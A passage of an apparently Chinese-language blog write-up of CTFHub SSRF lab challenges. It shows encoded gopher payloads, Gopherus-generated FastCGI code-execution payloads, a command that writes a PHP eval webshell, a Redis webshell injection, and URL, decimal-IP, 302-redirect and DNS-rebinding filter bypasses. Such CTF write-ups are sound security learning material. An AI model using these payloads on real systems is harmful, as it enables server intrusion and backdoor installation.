class=\"line\"><span>gopher://127.0.0.1:80/_%25%35%30%25%34%66%25%35%33%25%35%34%25%32%30%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37%25%32%65%25%37%30%25%36%38%25%37%30%25%32%30%25%34%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%64%25%30%61%25%34%38%25%36%66%25%37%33%25%37%34%25%33%61%25%32%30%25%33%31%25%33%32%25%33%37%25%32%65%25%33%30%25%32%65%25%33%30%25%32%65%25%33%31%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%36%64%25%37%35%25%36%63%25%37%34%25%36%39%25%37%30%25%36%31%25%37%32%25%37%34%25%32%66%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%36%34%25%36%31%25%37%34%25%36%31%25%33%62%25%32%30%25%36%32%25%36%66%25%37%35%25%36%65%25%36%34%25%36%31%25%37%32%25%37%39%25%33%64%25%32%64%25%32%64%25%32%64%25%32%64%25%36%37%25%36%35%25%36%33%25%36%62%25%36%66%25%36%36%25%36%66%25%37%32%25%36%64%25%36%32%25%36%66%25%37%35%25%36%65%25%36%34%25%36%31%25%37%32%25%37%39%25%33%37%25%36%32%25%33%38%25%33%32%25%33%32%25%33%38%25%36%33%25%33%34%25%33%39%25%36%35%25%33%35%25%33%32%25%33%37%25%33%33%25%33%30%25%36%33%25%36%33%25%33%30%25%36%33%25%33%37%25%33%38%25%33%38%25%33%37%25%33%36%25%36%36%25%36%32%25%33%32%25%33%31%25%33%32%25%33%30%25%33%34%25%33%32%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%61%25%32%30%25%33%33%25%33%34%25%33%33%25%30%64%25%30%61%25%30%64%25%30%61%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%36%37%25%36%35%25%36%33%25%36%62%25%36%66%25%36%36%25%36%66%25%37%32%25%36%64%25%36%32%25%36%66%25%37%35%25%36%65%25%36%34%25%36%31%25%37%32%25%37%39%25%33%37%25%36%32%25%33%38%25%33%32%25%33%32%25%33%38%25%36%33%25%33%34%25%33%39%25%36%35%25%33%35%25%33%32%25%33%37%25%33%33%25%33%30%25%36%33%25%36%33%25%33%30%25%36%33%25%33%37%25%33%38%25%33%38%25%33%37%25%33%36%25%36%36%25%36%32%25%33%32%25%33%31%25%33%32%25%33%30%25%33%34%25%33%32%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%34%25%36%39%25%37%33%25%37%30%25%36%66%25%37%33%25%36%39%25%37%34%25%36%39%25%36%66%25%36%65%25%33%61%25%32%30%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%36%34%25%36%31%25%37%34%25%36%31%25%33%62%25%32%30%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%32%32%25%36%36%25%36%39%25%36%63%25%36%35%25%32%32%25%33%62%25%32%30%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%32%32%25%37%34%25%36%35%25%37%33%25%37%34%25%32%65%25%37%34%25%37%38%25%37%34%25%32%32%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%37%34%25%36%35%25%37%38%25%37%34%25%32%66%25%37%30%25%36%63%25%36%31%25%36%39%25%36%65%25%30%64%25%30%61%25%30%64%25%30%61%25%35%33%25%35%33%25%35%32%25%34%36%25%32%30%25%35%35%25%37%30%25%36%63%25%36%66%25%36%31%25%36%34%25%30%64%25%30%61%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%36%37%25%36%35%25%36%33%25%36%62%25%36%66%25%36%36%25%36%66%25%37%32%25%36%64%25%36%32%25%36%66%25%37%35%25%36%65%25%36%34%25%36%31%25%37%32%25%37%39%25%33%37%25%36%32%25%33%38%25%33%32%25%33%32%25%33%38%25%36%33%25%33%34%25%33%39%25%36%35%25%33%35%25%33%32%25%33%37%25%33%33%25%33%30%25%36%33%25%36%33%25%33%30%25%36%33%25%33%37%25%33%38%25%33%38%25%33%37%25%33%36%25%36%36%25%36%32%25%33%32%25%33%31%25%33%32%25%33%30%25%33%34%25%33%32%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%34%25%36%39%25%37%33%25%37%30%25%36%66%25%37%33%25%36%39%25%37%34%25%36%39%25%36%66%25%36%65%25%33%61%25%32%30%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%36%34%25%36%31%25%37%34%25%36%31%25%33%62%25%32%30%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%32%32%25%37%33%25%37%35%25%36%32%25%36%64%25%36%39%25%37%34%25%32%32%25%30%64%25%30%61%25%30%64%25%30%61%25%64%30%25%61%34%25%65%35%25%65%32%25%30%64%25%30%61%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%36%37%25%36%35%25%36%33%25%36%62%25%36%66%25%36%36%25%36%66%25%37%32%25%36%64%25%36%32%25%36%66%25%37%35%25%36%65%25%36%34%25%36%31%25%37%32%25%37%39%25%33%37%25%36%32%25%33%38%25%33%32%25%33%32%25%33%38%25%36%33%25%33%34%25%33%39%25%36%35%25%33%35%25%33%32%25%33%37%25%33%33%25%33%30%25%36%33%25%36%33%25%33%30%25%36%33%25%33%37%25%33%38%25%33%38%25%33%37%25%33%36%25%36%36%25%36%32%25%33%32%25%33%31%25%33%32%25%33%30%25%33%34%25%33%32%25%32%64%25%32%64</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/12/SSRF/succe.png\" class=\"\" title=\"succe\"></p>\n<h3 id=\"fastcgi协议\"><a class=\"anchor\" href=\"#fastcgi协议\">#</a> FastCGI协议：</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助</span></span></code></pre>\n<p>附件地址：<a href=\"https://blog.csdn.net/mysteryflower/article/details/94386461\">Fastcgi协议分析 &amp;&amp; PHP-FPM未授权访问漏洞 &amp;&amp; Exp编写_flower未授权-CSDN博客</a></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>类比HTTP协议来说，fastcgi协议则是服务器中间件和某个语言后端进行数据交换的协议。Fastcgi协议由多个record组成，record也有header和body一说，服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端，语言后端解码以后拿到具体数据，进行指定操作，并将结果再按照该协议封装好后返回给服务器中间件。</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/12/SSRF/try.png\" class=\"\" title=\"try\"></p>\n<p>我们尝试直接访问显示404，之后尝试用file读取/flag.php和/var/www/html/flag.php都没有结果。</p>\n<p>根据前面的文章我们重点看最后的任意代码执行部分：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>理论上当然是不可以的，即使我们能控制SCRIPT_FILENAME，让fpm执行任意文件，也只是执行目标服务器上的文件，并不能执行我们需要其执行的文件。</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>但PHP是一门强大的语言，PHP.INI中有两个有趣的配置项，auto_prepend_file和auto_append_file。</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>auto_prepend_file是告诉PHP，在执行目标文件之前，先包含auto_prepend_file中指定的文件；auto_append_file是告诉PHP，在执行完成目标文件后，包含auto_append_file指向的文件。</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>那么就有趣了，假设我们设置auto_prepend_file为php://input，那么就等于在执行任何php文件前都要包含一遍POST的内容。所以，我们只需要把待执行的代码放在Body中，他们就能被执行了。（当然，还需要开启远程文件包含选项allow_url_include）</span></span></code></pre>\n<p>这里我们需要用到一个Gopherus工具生成fastcgi的payloald：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>利用条件：</span></span>\n<span class=\"line\"><span>libcurl版本>=7.45.0</span></span>\n<span class=\"line\"><span>PHP-FPM监听端口</span></span>\n<span class=\"line\"><span>PHP-FPM版本 >= 5.3.3</span></span>\n<span class=\"line\"><span>知道服务器上任意一个php文件的绝对路径</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>python2 gopherus.py --exploit fastcgi //必须是python2的版本</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>第一个地方输入：</span></span>\n<span class=\"line\"><span>一个已知存在的php文件如/var/www/html/index.php  </span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>第二个地方输入：</span></span>\n<span class=\"line\"><span>希望目标服务器执行的恶意命令，比如echo PD9waHAgQGV2YWwoJF9QT1NUWydjbGF5J10pOz8+ | base64 -d > /var/www/html/shell.php  或者  ls/cat f*</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/12/SSRF/gopherus.png\" class=\"\" title=\"gopherus\"></p>\n<p>输出的payload还需要 经过一次URL编码;</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2504%2504%2500%250F%2510SERVER_SOFTWAREgo%2520%2f%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2f1.1%250E%2502CONTENT_LENGTH59%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2f%2finput%250F%2517SCRIPT_FILENAME%2fvar%2fwww%2fhtml%2findex.php%250D%2501DOCUMENT_ROOT%2f%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%253B%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520%2ff%252A%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/12/SSRF/succes.png\" class=\"\" title=\"succes\"></p>\n<h3 id=\"redis协议\"><a class=\"anchor\" href=\"#redis协议\">#</a> Redis协议：</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!</span></span></code></pre>\n<p>这一道题依然可以用gopherus工具：</p>\n<p><img loading=\"lazy\" src=\"/2026/02/12/SSRF/redis.png\" class=\"\" title=\"redis\"></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>python2 gopherus.py --exploit redis</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>第一个地方输入：</span></span>\n<span class=\"line\"><span>这里选择是反弹shell还是正向shell         //这题phpshell</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>第二个地方输入：</span></span>\n<span class=\"line\"><span>服务器根目录，默认为/var/www/html，可以直接回车</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>第三个地方输入：</span></span>\n<span class=\"line\"><span>后门代码比如：&#x3C;?php @eval($_POST['cmd']) ?>         //默认写入根目录的shell.php</span></span></code></pre>\n<p>这里写入代码还是写入一句话木马吧，我尝试了&lt;?php system('cat  /f*'); ?&gt;似乎不会回显flag</p>\n<p>然后我们可以使用蚁剑连接了：</p>\n<p><img loading=\"lazy\" src=\"/2026/02/12/SSRF/ant.png\" class=\"\" title=\"ant\"></p>\n<p>最后能在根目录下找到flag</p>\n<p>从其他文章中看到了这些内容：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>Redis是一个key-value存储系统。Redis（Remote Dictionary Server )，即远程字典服务，是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库，并提供多种语言的API。</span></span>\n<span class=\"line\"><span>Redis 在默认情况下，会绑定在 0.0.0.0:6379，如果没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源 ip 访问等，这样将会将 Redis 服务暴露到公网上，如果在没有设置密码认证（一般为空），会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下，利用 Redis 自身的提供的 config 命令，可以进行写文件操作，攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中，进而可以使用对应私钥直接使用ssh服务登录目标服务器。，也可以直接写入Webshell或者写入计划任务进行反弹shell。</span></span></code></pre>\n<h3 id=\"url-bypass\"><a class=\"anchor\" href=\"#url-bypass\">#</a> URL Bypass：</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>请求的URL中必须包含http://notfound.ctfhub.com，来尝试利用URL的一些特殊地方绕过这个限制吧</span></span></code></pre>\n<p>根据前面学习的绕过手法，可以使用@绕过：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>http://challenge-d9c668c92afb0b2b.sandbox.ctfhub.com:10800/?url=http://notfound.ctfhub.com@127.0.0.1/flag.php</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/12/SSRF/url.png\" class=\"\" title=\"url\"></p>\n<h3 id=\"数字ip-bypass\"><a class=\"anchor\" href=\"#数字ip-bypass\">#</a> 数字IP Bypass：</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢</span></span></code></pre>\n<p>前面学了很多绕过127.0.0.1的，随便挑一个不包含127,172，@，.来用就行：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>http://challenge-9d998ea99bded3ea.sandbox.ctfhub.com:10800/?url=http://2130706433/flag.php</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/12/SSRF/%E8%BF%9B%E5%88%B6.png\" class=\"\" title=\"进制\"></p>\n<p>这里我采用的进制转换</p>\n<h3 id=\"302跳转-bypass\"><a class=\"anchor\" href=\"#302跳转-bypass\">#</a> 302跳转 Bypass：</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>SSRF中有个很重要的一点是请求可能会跟随302跳转，尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/12/SSRF/sudo.png\" class=\"\" title=\"sudo\"></p>\n<p>如果我们想要自己搭建一个重定向网站呢？</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>//shell.php</span></span>\n<span class=\"line\"><span>&#x3C;?php </span></span>\n<span class=\"line\"><span>header(\"Location:http://127.0.0.1/flag.php\");</span></span></code></pre>\n<p>我们<strong>需要将这个php放在公网上</strong>，拼接到url访问，就能实现302跳转</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>payload：?url=http://[公网IP]/shell.php</span></span></code></pre>\n<h3 id=\"dns重绑定-bypass\"><a class=\"anchor\" href=\"#dns重绑定-bypass\">#</a> DNS重绑定 Bypass：</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>关键词：DNS重绑定。剩下的自己来吧，也许附件中的链接能有些帮助</span></span></code></pre>\n<p>附件地址：<a href=\"https://zhuanlan.zhihu.com/p/89426041\">浅谈DNS重绑定漏洞 - 知乎</a></p>\n<p>对于用户请求的URL参数，首先服务器端会对其进行DNS解析，然后对于DNS服务器返回的IP地址进行判断，如果在黑名单中，就pass掉。</p>\n<p>但是在整个过程中，第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差，利用这个时间差，我们可以进行DNS 重绑定。我们利用DNS Rebinding技术，在第一次校验IP的时候返回一个合法的IP，在真实发起请求的时候，返回我们真正想要访问的内网IP即可。</p>\n<p>要完成DNS重绑定，我们需要一个域名，并且将这个域名的解析指定到我们自己的DNS Server，在我们的可控的DNS Server上编写解析服务，设置TTL时间为0，这是为了防止有DNS服务器对解析结果进行缓存。这样就可以进行了，完整的攻击流程为：</p>\n<ol>\n<li>服务器端获得URL参数，进行第一次DNS解析，获得了一个非内网的IP</li>\n<li>对于获得的IP进行判断，发现为非黑名单IP，则通过验证</li>\n<li>服务器端对于URL进行访问，由于DNS服务器设置的TTL为0，所以再次进行DNS解析，这一次DNS服务器返回的是内网地址。</li>\n<li>由于已经绕过验证，所以服务器端返回访问内网资源的结果。</li>\n</ol>\n<p>需要用到的网址：<a href=\"https://lock.cmpxchg8b.com/rebinder.html\">rbndr.us dns rebinding service</a></p>\n<p>这个网站会随机指向两个绑定地址的其中一个，由于127段是回环地址，将AB设置成<code>127.0.0.1</code>和<code>127.0.0.2</code>，每一个都能访问localhost</p>\n<p><img loading=\"lazy\" src=\"/2026/02/12/SSRF/DNS.png\" class=\"\" title=\"DNS\"></p>\n<p>IP会在A、B两个之间反复切换。我们知道，127.201.205.254=127.0.0.1 <a href=\"//127.0.0.0/8%E6%98%AF%E4%B8%80%E4%B8%AA%E7%8E%AF%E5%9B%9E%E5%9C%B0%E5%9D%80%E7%BD%91%E6%AE%B5%EF%BC%8C%E4%BB%8E127.0.0.1\">//127.0.0.0/8是一个环回地址网段，从127.0.0.1</a> ~ 127.255.255.254都表示localhost，所以A和B都能进内网。</p>\n<p>所以我们的payload为：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>http://challenge-aca6454dc93fb620.sandbox.ctfhub.com:10800/?url=http://7f000001.7f000002.rbndr.us/flag.php</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/12/SSRF/dns2.png\" class=\"\" title=\"dns2\"></p>\n",
            "tags": []
        }
    ]
}